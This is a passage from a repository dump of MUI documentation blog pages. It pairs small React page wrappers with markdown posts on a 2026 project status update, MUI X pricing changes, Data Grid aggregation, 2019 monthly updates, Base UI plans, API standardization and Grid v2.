currently in progress.\nAlongside this, we're drafting and shaping the feature set that will define the next major version of Material UI (v8).\nWhile it's still early to share specifics, this work is under way and will be communicated as it solidifies.\n\n### Base UI\n\n<img width=\"692\" height=\"390\" alt=\"Base UI v1.1.0 announcement tweet\" src=\"https://github.com/user-attachments/assets/1e699941-f38f-4275-a7c5-7179ecd251f3\" />\n\nBase UI is a major area of focus this year.\n\n[MUI Base](https://v6.mui.com/base-ui/getting-started/) has been deprecated and replaced by Base UI, which represents our long-term direction for foundational, unstyled components.\n\nWe recently reached a major milestone by [releasing Base UI as stable](https://base-ui.com/react/overview/releases), followed by the v1.1 release earlier this month.\nWith stability in place, our focus is now on expanding the component set, improving documentation and guidance, and making adoption and migration easier for teams building their custom design systems.\n\nBase UI is where we are concentrating our foundational work going forward.\n\n### MUI X\n\n<img width=\"692\" height=\"390\" alt=\"MUI X Data Grid updates since MUI X v8\" src=\"https://github.com/user-attachments/assets/3f0bf173-1fdd-4efe-85a8-aed90a72549d\" />\n\nWe're also investing in our MUI X advanced components: Data Grid, Charts, Tree View, and Date and Time Pickers.\nAs we prepare for the next major version, we've been continuously shipping new features and improvements since MUI X v8.\nThese updates have been covered in our [What's New](https://mui.com/x/whats-new/) section and our [most recent blog post](https://mui.com/blog/mui-x-end-v8/) outlining what's shipped since v8.\n\n## Projects currently on hold or in limited maintenance\n\n### Pigment CSS\n\nPigment CSS remains in alpha phase and is currently on hold.\n\nWe made fast progress early on, but it became clear that the underlying problems were not fully solved yet.\nAt that point, we made the decision to prioritize our roadmap and focus on one foundational problem at a time.\n\nThat prioritization led us to concentrate our efforts on Base UI—a project we've now successfully brought to stability after a long period of iteration.\nPigment CSS is not being developed at the moment.\nWhile we still believe in the potential of the ideas behind it, progressing further would require a different approach.\nSo for now, development is paused.\n\n### Joy UI\n\nJoy UI is currently on hold.\n\nWe have no active plans or timelines to share, and the team is not focused on advancing with the project at this time.\nWe will be explicit if and when this changes.\n\n### Toolpad\n\nToolpad is not actively maintained.\n\nThe maintainers are currently focused on other projects, and we may not be able to respond promptly to issues or pull requests.\nFor new projects, we don't recommend adopting Toolpad Core at this time.\n\nAs an alternative, you can use the CRUD dashboard template from the Material UI React templates page.\nIt provides an easy-to-customize, copy-pastable setup that covers many of the same dashboard and CRUD use cases without having to rely on Toolpad Core.\n\n### MUI Sync\n\nDevelopment on the MUI Sync plugin was stopped in 2024.\n\nWe don't recommend using it for new projects.\nLimited support is still available within the Design Kits repository, and issues can be reported [here](https://github.com/mui/mui-design-kits/issues).\n\n## How we're improving communication going forward\n\nOne clear takeaway from community feedback is that it's not enough to quietly shift priorities.\nWe need to be clearer and more consistent about what's active, what's stable, and what's on hold.\nGoing forward, our intent is to be explicit about project statuses and sharing progress only when there's meaningful substance behind it.\n\nThis blog is part of that effort, and we'll continue refining how we communicate priorities so it's easier to understand where to invest your time and trust.\n\nThanks for your candid feedback—it's what helps us grow.\nWe're excited to continue building with you this 2026!\n"
  },
  {
    "path": "docs/pages/blog/2026-mui-x-price-changes.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './2026-mui-x-price-changes.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/2026-mui-x-price-changes.md",
    "content": "---\ntitle: 'Upcoming Changes to MUI X Pricing and Licensing in 2026'\ndescription: MUI X pricing and licensing is being updated to reflect product value and support continued investment in the ecosystem.\ndate: 2026-03-01T08:00:00.000Z\nauthors: ['raffaellaluzi']\ntags: ['MUI X']\nmanualCard: false\n---\n\nStarting **April 8, 2026**, we're introducing updates to MUI X pricing and licensing. These changes are designed to give teams more flexibility as they scale, expand licensing options to suit a wider variety of customers, and ensure we can continue investing in the long-term future of the MUI ecosystem.\n\n## 🔄 Summary of changes\n\nChanges include:\n\n- Updated pricing for MUI X Pro and MUI X Premium\n- Introduction of application-based licensing for Pro and Premium\n- Enterprise plan remains multi-application (minimum 15 seats)\n- Priority support available only to Enterprise customers\n- Security questionnaires and custom agreements available for orders above $12,000 USD\n- Premium self-service for purchases of up to 15 seats\n- Grandfathering for existing **v8 license renewals**\n\n## Why we're updating pricing\n\nMUI X has grown significantly since its early days. While the MUI X Pro plan has evolved over the years, its pricing per developer has not significantly changed since it was first introduced in 2020—despite major feature additions, performance improvements, and ongoing maintenance.\n\nAs a result, this new pricing brings Pro closer in line with the value teams receive today, and allowing us to sustainably support its future development.\n\nThis post breaks down everything you need to know about the changes. You can also head directly to [the updated pricing page](https://next.mui.com/pricing/) for a thorough feature comparison.\n\n## Grandfathering current customers\n\nWe value our loyal customers and want to ensure a smooth transition:\n\n- Customers renewing existing **v8 licenses** or adding seats to v8 licenses are **not affected** by these pricing changes.\n- Only customers upgrading to **v9** or moving from **Pro to Premium** will be affected.\n\nIf you're unsure how this applies to your team, please reach out to us at **sales@mui.com** and we'll be happy to clarify.\n\n## What's changing in licensing\n\n### Application-based licensing for Pro and Premium\n\nMUI X Pro and Premium are moving to an **application-based licensing model**, giving teams more control over how licenses are used across projects.\n\n- Each developer must still be licensed, but you can now choose between **single-application** and **multi-application** licenses.\n- The Enterprise plan is always **multi-application** and starts at a minimum of 15 seats.\n\n## Support updates\n\nAlongside pricing changes, we're updating how support is structured:\n\n- Priority support is no longer available as a Premium add-on and will be exclusive to Enterprise customers.\n- We will only respond to security questionnaires and provide custom agreements (including reviewing company-specific purchasing terms) for orders of **$12,000 and above** across all plans.\n- MUI X Premium will be self-service for purchases of up to 15 seats. Purchase orders or email-based requests will only be accepted starting at 15 seats of MUI X Premium.\n- All other purchases must be completed directly on our website.\n\n## Pricing breakdown\n\nFor a detailed overview of the new pricing structure, please visit [the updated pricing page](https://next.mui.com/pricing/).\n\n## What's next\n\nWe'll be sharing exciting roadmap updates for **MUI X v9**—including version alignment between Material UI and MUI X—on our blog in the coming months.\n\nWe're deeply thankful for the continued support from our community and customers. These pricing updates allow us to keep pushing MUI X and the broader MUI ecosystem in ambitious new directions, while staying true to our open-source roots.\n\nIf you have questions about these changes or want help choosing the right plan, please reach out to our team at **sales@mui.com**.\n\nThank you for building with us 💙\n"
  },
  {
    "path": "docs/pages/blog/aggregation-functions.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './aggregation-functions.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/aggregation-functions.md",
    "content": "---\ntitle: Aggregate data like in Excel, but easier!\ndescription: Aggregation functions and summary rows are now available in the MUI X Premium Data Grid.\ndate: 2022-08-01T00:00:00.000Z\nauthors: ['josefreitas', 'flaviendelangle', 'cherniavskii']\ntags: ['MUI X', 'Product']\nmanualCard: true\n---\n\nIf you've ever worked with a data-heavy grid, then you understand how important it is for the end user to be able to set different perspectives on the data to gather the information they're looking for.\nBasic functions like filtering and sorting barely scratch the surface of their needs.\n\nThe Premium Data Grid is all about enabling and empowering advanced use cases for data analysis.\nAnd in that spirit, we're overjoyed to announce that starting from [v5.15.0](https://github.com/mui/mui-x/releases/tag/v5.15.0), you can now use [aggregation functions](/x/react-data-grid/aggregation/), and with a couple of clicks, extract information like **sum**, **average**, **count**, and others.\n\n## Wait, what is an aggregation function?\n\nAggregation functions are used to return a computed result based on the values of a given column.\nFor example, you might have a list of financial transactions, and you want to get the sum of all transactions and display it in a summary row, as shown in the video below:\n\n<video width=\"1280\" height=\"780\" autoplay muted loop playsinline controls>\n  <source src=\"/static/blog/aggregation-functions/summary-row.mp4\" type=\"video/mp4\" />\n</video>\n\n## Intuitive end-user experience\n\nThe **Sum** function showing a **Total** in summary rows is one of the most common use cases. But users can employ multiple aggregation functions in different columns simultaneously, and even combine with row grouping to aggregate children's data on each group.\n\nTo make all that work well together, we knew that the focus had to be on creating the best end-user experience possible. The goal was to enable the majority of use cases right out of the box, without any need for significant customization.\n\nHow easy can it be to get the average transaction value per user?\nCheck out the video below to see it in action:\n\n<video width=\"1280\" height=\"780\" autoplay muted loop playsinline controls>\n  <source src=\"/static/blog/aggregation-functions/with-row-grouping.mp4\" type=\"video/mp4\" />\n</video>\n\n## Customize everything\n\nThe out-of-the-box experience is very important to us, but equally important is the ability to customize and extend the feature to suit your own use case.\n\nYou can change the styles of every element involved, set automatic aggregations, choose which columns can be aggregated by which functions, and even create your own custom functions.\nIn the example below, we created a function to get the first value in alphabetical order:\n\n```ts\nconst firstAlphabeticalAggregation: GridAggregationFunction<string, string | null> =\n  {\n    apply: (params) => {\n      if (params.values.length === 0) {\n        return null;\n      }\n      const sortedValue = params.values.sort((a = '', b = '') => a.localeCompare(b));\n      return sortedValue[0];\n    },\n    // The `label` defines what's displayed in the column header when this\n    // aggregation is active.\n    label: 'First Alphabetical',\n    // The `types` property defines which type of columns can use this\n    // aggregation function. Here, we only want to propose this aggregation\n    // function for `string` columns. If not defined, aggregation will be\n    // available for all column types.\n    columnTypes: ['string'],\n  };\n```\n\n<video width=\"1280\" height=\"780\" autoplay muted loop playsinline controls>\n  <source src=\"/static/blog/aggregation-functions/with-custom-functions.mp4\" type=\"video/mp4\" />\n</video>\n\n## Okay, I'm in! How can I get started?\n\nAggregation functions are available in `@mui/x-data-grid-premium`, version `5.15.0` or later.\n\nThis feature is currently considered experimental as we continue to validate its API and refine our goals for it.\nBut it is stable, and the API most likely will not change significantly.\n\nYou can activate the feature with the `experimentalFeatures` prop:\n\n```tsx\n<DataGridPremium experimentalFeatures={{ aggregation: true }} {...otherProps} />\n```\n\nAnd that's it! That enables the **Aggregation** option on the column menu, which is available by default on columns of type number and string.\n\n## Use with tree data and more\n\nWe already mentioned that you could customize functions and use aggregation with row grouping. But there are a lot of other possibilities to explore!\n\nPlease check out the feature's [full documentation](/x/react-data-grid/aggregation/) to get a better overview of everything it has to offer.\n\n## Row pinning\n\nThe Aggregation footer row is powered by another new feature called [Row pinning](/x/react-data-grid/row-pinning/).\nIt enables you to pin rows to the top or bottom of your data grid.\nPinned rows are visible at all times while the user scrolls the grid vertically.\n\n<video width=\"1280\" height=\"780\" autoplay muted loop playsinline controls>\n  <source src=\"/static/blog/aggregation-functions/row-pinning.mp4\" type=\"video/mp4\" />\n</video>\n\nRow pinning is available in the Pro and Premium Data Grids.\n\nCheck out more details in the [Row pinning documentation](/x/react-data-grid/row-pinning/).\n\n## Share your feedback 🗣\n\n**And if you're feeling generous, we're recruiting users to interview!**\n\nWe hope you're excited about the new features as we are!\n\nAs always, we're happy to hear from you.\nPlease feel free to open new issues to report bugs or suggest improvements.\n\nMoreover, we're planning MUI X v6, and we'd love to hear more about your pain points and use cases.\nIf you want to help steer the direction of our components, please consider [contacting us](https://forms.gle/vsBv6CLPz9h57xg8A) to schedule a 30-minute user interview session.\n"
  },
  {
    "path": "docs/pages/blog/april-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './april-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/april-2019-update.md",
    "content": "---\ntitle: April 2019 Update\ndescription: Here are the most significant improvements in April.\ndate: 2019-05-07T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in April:\n\n- 📚 We have migrated [most](https://github.com/mui/material-ui/issues/14897) of our demos to TypeScript. **@eps1lon** has lead the effort. You can switch between the JavaScript demo and the TypeScript demo using this toggle button:\n\n  ![TypeScript switch](/static/blog/april-2019-update/typescript.png)\n\n  This was only possible thanks to the contributions **@merceyz**, **@sperry94**, **@jasondashwang**, **@bh1505**, **@donigianrp**, **@Dudrie**, **@eluchsinger**, **@cahilfoley**, **@gabrielgene**, **@kenzhemir**, **@Adherentman**, **@lksilva**, **@Tevinthuku**. Thank you!\n  Supporting these TypeScript demos has one important implication, it forces us to have working TypeScript definitions ✨.\n\n- 🎀 We have migrated a large chunk of our components from classes to hooks. **@joshwooding** has lead the effort. We will explain why in the v4 release blog post.\n- 📐 We have updated our components to better match the Material Design guidelines\n  (Snackbar, List, Checkbox, Radio & Switch).\n- 🎁 We have added a demo for building a [TransferList](/material-ui/react-transfer-list/) component.\n\n  [![Transfer list](/static/blog/april-2019-update/transfer-list.png)](/material-ui/react-transfer-list/)\n\n- 💅 We have changed the class name generation to output global class names.\n  We have seen many people struggling with our `classes` API.\n  This API targets plain CSS and styled-components users.\n  It can be challenging to apply your class name on the right element with the `classes` API. It can also be cumbersome. ⚠️ Using global class names provide more power but comes with a responsibility. We encourage any pattern that increases your **custom style isolation**.\n\n  [![Global class names](/static/blog/april-2019-update/global-class-names.png)](https://v6.mui.com/system/styles/advanced/)\n\n- 📅 We have moved material-ui-pickers to our organization: [@material-ui/pickers](https://www.npmjs.com/package/@material-ui/pickers). A big thanks to **@dmtrKovalenko** for creating and owning these date/time components.\n- 🔥 We have fixed more Strict Mode warnings, getting us closer to [Concurrent React](https://legacy.reactjs.org/blog/2018/11/27/react-16-roadmap.html#react-16x-q2-2019-the-one-with-concurrent-mode) support.\n- ♿️ We have significantly improved the keyboard behavior on the Select, Menu, Button and Tooltip components. The arrow key changes feel instantaneous. The select items can be selected with the alphabetical keys. The focus visible state is better detected.\n- 💄 We have added support for responsive font sizes. You can wrap your theme with [`responsiveFontSizes()`](/material-ui/customization/typography/#responsive-font-sizes):\n\n  [![Responsive font sizes](/static/blog/april-2019-update/responsive.png)](/material-ui/customization/typography/#responsive-font-sizes)\n\n- We have added support for custom [header scroll behaviors](/material-ui/react-app-bar/#scrolling):\n\n  <video style=\"margin-bottom: 24px;\" autoplay muted loop playsinline>\n    <source src=\"/static/blog/april-2019-update/scroll-trigger.mp4\" type=\"video/mp4\" />\n  </video>\n\nBut this summary is just scratching the surface. We have accepted 243 commits from 69 different contributors. We have changed 1,545 files with 36,461 additions and 20,237 deletions.\n\n## Our roadmap intent for May\n\n_(We'll do our best, no guarantee!)_\n\n- We will release Material UI v4 stable during the React Europe conference.\n- We will start an effort to support more components. So far, we have identified a couple of useful ones:\n  - Layout\n  - Combobox\n  - Slider (& range)\n  - Dropdown\n  - Tree view\n  - Dropzone / Upload\n  - Skeleton\n  - Jumbotron\n  - Carousel\n  - Rating\n  - Timeline\n- Something big 🌈\n\n- ❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/august-2019-update.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './august-2019-update.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/august-2019-update.md",
    "content": "---\ntitle: August 2019 Update\ndescription: Here are the most significant improvements in August.\ndate: 2019-09-07T00:00:00.000Z\nauthors: ['oliviertassinari']\ntags: ['Company']\nmanualCard: true\n---\n\nHere are the most significant improvements in August:\n\n- ✨ We have introduced [a search page](/material-ui/material-icons/) that makes it easy to find the perfect Material Design icon:\n\n  ![Material Icons](/static/blog/august-2019-update/material-icons.png)\n\nDevelopers spend a lot of time finding the right icons for each context. We have seen an opportunity to make it simpler. We keep a close eye on the \"no results\" search event to improve our synonyms list.\n\nAt the same time, the list of icons has grown. You can find 10 new brand icons and 61 new official material icons.\n\n- 🦴 We have introduced a new [Skeleton component](/material-ui/react-skeleton/) in the lab.\n\n  ![Skeleton](/static/blog/july-2019-update/skeleton.png)\n\n- ⚛️ We have started to move the description of the props to the TypeScript definitions of the components.\n\n  ![TypeScript](/static/blog/august-2019-update/typescript.png)\n\n- 🎨 We have worked on seeding https://mui.com/store/.\n- 📖 We have updated our ROADMAP. [Check it out](/material-ui/discover-more/roadmap/).\n\nBut this summary is just scratching the surface. We have accepted 193 commits from 74 different contributors. We have changed 5,875 files with 35,101 additions and 14,701 deletions.\n\n## Our roadmap intent for September\n\n_(We'll do our best, no guarantee!)_\n\n- 🔍 We will keep working on providing ready-to-use autocomplete, combo box, and multi-select components. We announced it last month but have made little progress so far due to focusing on fixing bugs in existing components. Let's make it happen!\n\n- ❓ Please upvote our [GitHub issues](https://github.com/mui/material-ui/issues) if you want something specific. The number of 👍 helps us to prioritize.\n"
  },
  {
    "path": "docs/pages/blog/base-ui-2024-plans.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './base-ui-2024-plans.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/base-ui-2024-plans.md",
    "content": "---\ntitle: An exciting year ahead for Base UI\ndescription: The unstyled component library will get a stable release, lots of new components, and even better DX in 2024.\ndate: 2024-02-13T00:00:00.000Z\nauthors: ['danilo-leal', 'michaldudak', 'colmtuite', 'oliviertassinari']\ntags: ['Base UI', 'Product']\nmanualCard: true\n---\n\nThe [story of Base UI](/blog/introducing-base-ui/) began several years ago—long before headless React component libraries skyrocketed in popularity—when we started to imagine a world in which Material UI could exist without Material Design.\n\nWe're super excited to share that this dream is becoming a reality!\nThis year will see a lot of investment in Base UI as we expand the team and focus hard on a stable release (tentatively planned for late 2024), which will come full of new components, features, and improvements.\n\nLet's walk through some of the things we're cooking up.\n\n## A larger set of components\n\nBase UI today offers a modest set of components and hooks, including some slightly more complex ones such as [Autocomplete](https://v6.mui.com/base-ui/react-autocomplete/) and [Number Input](https://v6.mui.com/base-ui/react-number-input/).\nHowever, we're aware that the package is still missing many primitive components that developers would need in order to adopt it for real-world applications.\nFear not, because we're working hard to ship more components with the stable release, including:\n\n| Components to be added |                                                                                         |\n| :--------------------- | --------------------------------------------------------------------------------------: |\n| Accordion              | [View&nbsp;the&nbsp;GitHub&nbsp;issue&nbsp;→](https://github.com/mui/base-ui/issues/25) |\n| Alert Dialog           |                [View the GitHub issue&nbsp;→](https://github.com/mui/base-ui/issues/83) |\n| Checkbox               |                [View the GitHub issue&nbsp;→](https://github.com/mui/base-ui/issues/24) |\n| Collapsible            |                [View the GitHub issue&nbsp;→](https://github.com/mui/base-ui/issues/84) |\n| Drawer                 |                [View the GitHub issue&nbsp;→](https://github.com/mui/base-ui/issues/38) |\n| Radio Group            |                [View the GitHub issue&nbsp;→](https://github.com/mui/base-ui/issues/26) |\n| Tooltip                |                [View the GitHub issue&nbsp;→](https://github.com/mui/base-ui/issues/32) |\n\nAnd potentially more!\nWe'd love for you to chime in and help us prioritize, so keep an eye on [the open issues](https://github.com/mui/base-ui/issues).\n\n## Improved customization API\n\nCurrently, Base UI components can be customized to your heart's content using the `slots` and `slotProps` props.\n(Read more about them in the \"[Overriding component structure](https://v6.mui.com/base-ui/guides/overriding-component-structure/)\" guide.)\n\n```tsx\n// Example of the slots prop\n<Select slots={{ listbox: 'ol' }} defaultValue=\"First option\">\n  <Option value=\"First option\">First option</Option>\n  <Option value=\"Second option\">Second option</Option>\n</Select>\n\n// Example of the slotProps prop\n<Badge slotProps={{ badge: { className: 'my-badge' } }} />\n```\n\nThis API, while powerful, has proven to be less than ideal in some instances.\nMost notably, it's too lengthy and complicated to write and read when used with libraries such as Tailwind CSS.\nAdditionally, since the `slots` and the corresponding `slotProps` are not related in terms of TypeScript types, it's possible to introduce bugs or have the compiler complain about valid code.\n\nTo address these issues, we're considering adopting a new API that would assign a discrete subcomponent to each DOM node—the pattern favored by many other headless component libraries (think: `<Slider.Track />`, `<Slider.Thumb />`, etc.).\nThis pattern has the potential to radically improve the customization experience, both for styles and structure.\n\nWe are still fleshing out the API and implementation details.\nIf you have any questions or remarks about this change, chime in on [the RFC on GitHub](https://github.com/mui/base-ui/discussions/157).\n\nWe know that a significant number of projects depend on the existing API, and we want to assure you that one of our top priorities is to provide a smooth migration experience.\n\n## More thorough animation support\n\nAnimation is a key element for adding delight to any application.\nWe've already kicked off work on animation support by releasing the [CSS Transition](https://v6.mui.com/base-ui/react-transitions/#css-transition) and [CSS Animation](https://v6.mui.com/base-ui/react-transitions/#css-animation) components, as well as the `useTransitionTrigger` and `useTransitionStateManager` hooks.\nThey're currently available for use with the Popup, Menu, and Select, and the plan is to extend support to more components while also adding more features.\n\n<iframe src=\"https://codesandbox.io/embed/3pdm56?view=preview&module=%2Fdemo.tsx&hidenavigation=1\"\n  style=\"width:100%; height: 300px; border:0; border-radius: 4px; overflow:hidden;\" title=\"/blog/base-ui-2024-plans/\" allow=\"accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr; xr-spatial-tracking\" sandbox=\"allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts\"\n></iframe>\n\n<p class=\"blog-description\">The CSS Animation transition is exaggerated here for the sake of demonstration.</p>\n\n## Getting many issues out of the way\n\nThe core of what Base UI strives to deliver out of the box is first-class accessibility and an intuitive API for extensive customization.\nWe've earmarked several issues we want to tackle before the stable release in areas such as keyboard navigation, better ARIA support, focus styles, and more.\n\n## A more independent product\n\nSo far, all Base UI-related development has happened within the [Material UI GitHub repository](https://github.com/mui/material-ui).\nThat made a lot of sense in the beginning because we didn't intend for Base UI to be a standalone product at the time.\nAs a result of this early decision, we've seen that some developers are hesitant to try it out because of the apparent association with Material Design.\nRest assured that Base UI _is_ a standalone library, and it doesn't come packaged with _any_ default styles or themes.\n\n<img alt=\"Material UI vs. Base UI: independent but related products.\" src=\"/static/blog/base-ui-2024-plans/material-vs-base.png\" width=\"2400\" height=\"900\" loading=\"lazy\" />\n\nBase UI is no longer _merely_ \"Material UI without the styles\"—as we've seen with developer trends over the last few years, the potential for growth and adoption of headless components could actually dwarf Material UI in the near future.\nTo acknowledge that Base UI has the potential to outgrow Material UI, we plan to move it to its own dedicated GitHub repository for more focused communication and collaboration with the community that's growing around it.\n\n:::success\nThe new repository is live－[check it out on GitHub](https://github.com/mui/base-ui)!\n:::\n\n## Help us on the ride\n\nWe'd love to hear your feedback.\nThe best place to share your ideas and requests is in [the GitHub repository](https://github.com/mui/base-ui/issues).\nCheck out the existing issues and add your thoughts, and feel free to open your own issue if you don't see your concerns addressed elsewhere.\n\nHappy development! 👋\n"
  },
  {
    "path": "docs/pages/blog/benny-joo-joining.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './benny-joo-joining.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/benny-joo-joining.md",
    "content": "---\ntitle: Benny Joo joins MUI\ndescription: We are excited to share that Benny Joo has joined MUI. He has started last month full-time and is now a Junior Software Engineer in the Core team.\ndate: 2021-11-16T00:00:00.000Z\nauthors: ['mnajdova']\ntags: ['Company']\nmanualCard: true\n---\n\nWe are excited to share that [Benny Joo](https://github.com/hbjORbj) has joined MUI.\nHe has started last month full-time and is now part of the Core team.\n\nBefore joining full-time, Benny was our first intern during the summer.\nHe joined us right after graduating from The University of Edinburgh.\nHe had a great start with his internship, implementing the [Masonry component](https://mui.com/material-ui/react-masonry/)! It was one of the [most upvoted issues](https://github.com/mui/material-ui/issues/17000) that we simply didn't have the bandwidth to work on.\n\nAs part of the Core team, he will help with the community support, as well as work on some of the new features we plan for the community version of the library, like the unstyled components and the second design system.\nI am excited to see what other valuable contributions he will make in the future.\n\nThe Core team will continue developing the foundations on which to build great design systems.\n\nWe couldn't be more excited to have Benny on the team!\n"
  },
  {
    "path": "docs/pages/blog/bringing-consistency-to-material-ui-customization-apis.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './bringing-consistency-to-material-ui-customization-apis.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/bringing-consistency-to-material-ui-customization-apis.md",
    "content": "---\ntitle: Bringing consistency to Material UI customization APIs\ndescription: We're standardizing two key areas of the Material UI customization APIs to reduce complexity and cognitive overhead. Read on to learn what's changing.\ndate: 2024-03-18T10:00:00.000Z\nauthors: ['diegoandai']\ntags: ['Material UI', 'Product']\nmanualCard: true\n---\n\nThe Material UI team is working on two initiatives to standardize the Material UI API: The first applies to overriding inner elements, and the second applies to component CSS classes.\nIn both cases, the purpose is to provide a more consistent developer experience for the community.\n\nLet's explore how these changes are taking shape:\n\n## Inner element overrides\n\nBecause Material UI components often contain multiple DOM nodes, it's common to need to modify the structure, behavior, and style of inner elements.\nFor example, you might want to modify the Slider's thumb element to grow in size when dragged:\n\n<iframe src=\"https://codesandbox.io/embed/nw34ry?view=Editor+%2B+Preview&module=%2Fsrc%2FDemo.tsx&hidenavigation=1\"\n     style=\"width:100%; height: 200px; border:0; border-radius: 4px; overflow:hidden;\"\n     title=\"blog/material-ui-early-2024-standardization/slider-slots-example\"\n     allow=\"accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr; xr-spatial-tracking\"\n     sandbox=\"allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts\"\n   ></iframe>\n\nYou can achieve this by providing custom components through the `slots` prop.\nThe demo above provides a custom thumb component that uses the Slider's internal `dragging` and `focusedThumbIndex` states to change its appearance.\n[Open the CodeSandbox](https://codesandbox.io/p/sandbox/blog-material-ui-early-2024-deprecations-slider-slots-example-nw34ry?file=%2Fsrc%2FDemo.tsx) to see the implementation.\n\nThe problem is that this slot pattern exposed through the `slots` prop is not consistent across the library.\nSome components implement the `slots` prop, but others have a `components` prop, which works the same as the `slots` prop.\nOther components have props named `<SlotName>Component` for more specific use cases—for example, the Accordion features a `TransitionComponent` prop for implementing custom transitions.\n\nThe same inconsistencies are found with the `slotProps` prop, which is used to provide custom props to inner elements.\nSome components have the `slotsProps` prop; others have a `componentsProps` prop; and still others have props named `<SlotName>Props`.\n\nThis lack of consistency leads to unnecessary complexity for both developers and maintainers.\nTo resolve this, the `slots` and `slotProps` API will be standardized across all components, and the analogous APIs will be deprecated and eventually removed.\n\n## Component CSS classes\n\nThe most common way to customize a component's look and feel is to target its CSS classes.\nFor example, you might want to customize a Chip's primary color and set it to a different color when it's clickable:\n\n<iframe src=\"https://codesandbox.io/embed/d7xqr6?view=Editor+%2B+Preview&module=%2Fsrc%2FDemo.tsx&hidenavigation=1\"\n     style=\"width:100%; height: 200px; border:0; border-radius: 4px; overflow:hidden;\"\n     title=\"blog/material-ui-early-2024-standardization/chip-classes-example\"\n     allow=\"accelerometer; ambient-light-sensor; camera; encrypted-media; geolocation; gyroscope; hid; microphone; midi; payment; usb; vr; xr-spatial-tracking\"\n     sandbox=\"allow-forms allow-modals allow-popups allow-presentation allow-same-origin allow-scripts\"\n   ></iframe>\n\nYou can do this by targeting `chipClasses.colorPrimary` and `chipClasses.clickable`, respectively.\nThe demo above targets `.MuiChip-colorPrimary` and `.MuiChip-clickable.MuiChip-colorPrimary` to achieve this result.\n[Open the CodeSandbox](https://codesandbox.io/p/sandbox/blog-material-ui-early-2024-deprecations-chip-classes-example-d7xqr6?file=%2Fsrc%2FDemo.tsx) to see the implementation.\n\nThe problem is that you could also use the `chipClasses.clickableColorPrimary` composed class, which composes the atomic clickable and color classes.\nThese composed classes bloat the API without adding significant improvements: For example, this pattern adds 26 possible CSS classes to the Chip component.\n\nThe composed classes also reduce the predictability of the CSS classes API, as the compose order and which props get composed are arbitrary decisions.\nThis adds unnecessary cognitive overhead for developers as well as significant complexity for maintainers.\nBecause of these issues, composed CSS classes will be deprecated and eventually removed in favor of atomic class alternatives.\n\n## Standardization process\n\nThis initiative aims to improve the developer experience for the Material UI community.\nTo provide the smoothest migration from the inconsistent APIs, they will be deprecated first and removed later, giving you plenty of time to adjust.\nWith each deprecation, we'll update the [migration guide](https://mui.com/material-ui/migration/migrating-from-deprecated-apis/) and provide [codemods](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#deprecations) to simplify the process.\n\nAs always, we'd love to hear what you think! Please [open a GitHub issue](https://github.com/mui/material-ui/issues/new/choose) if you encounter any unexpected behavior with the standardized APIs or if you have any other suggestions you'd like us to discuss.\n"
  },
  {
    "path": "docs/pages/blog/build-layouts-faster-with-grid-v2.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './build-layouts-faster-with-grid-v2.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/build-layouts-faster-with-grid-v2.md",
    "content": "---\ntitle: Build layouts faster with the new Grid component\ndescription: The new Grid v2 features simplified logic, support for offsetting and nested grids, and more.\ndate: 2022-08-20T00:00:00.000Z\nauthors: ['siriwatknp']\ntags: ['Material UI', 'Guide']\nmanualCard: true\n---\n\nYou can now use the new `Grid` component, shipped with [Material UI v5.9.0](https://github.com/mui/material-ui/releases/tag/v5.9.0), for updated features and a better developer experience when building layouts.\n\n```js\nimport Grid from '@mui/material/GridLegacy'; // The legacy grid, a.k.a. Grid v1\nimport Grid from '@mui/material/Grid'; // The updated grid, a.k.a. Grid v2\n```\n\n## The motivation\n\n- To fix the migration pain points ([#26266](https://github.com/mui/material-ui/issues/29266) and [#31244](https://github.com/mui/material-ui/issues/31244)) for the grid component which is caused by the [implementation changes](https://github.com/mui/material-ui/pull/24332) introduced in v5.\n- To add the long-awaited [offset feature](https://github.com/mui/material-ui/issues/11251) to the layout grid component.\n- To remove the child combinator (`>`) from the grid item styles, which [complicates the customization](https://github.com/mui/material-ui/issues/28855) of the old grid.\n- To fix [the limitation on nested grids](https://mui.com/material-ui/react-grid/#nested-grid).\n- To eliminate the unnecessary 